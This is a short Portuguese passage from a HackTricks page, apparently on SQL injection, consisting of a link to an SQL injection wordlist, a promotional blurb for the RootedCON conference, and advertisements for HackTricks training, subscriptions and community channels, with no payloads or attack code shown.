{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|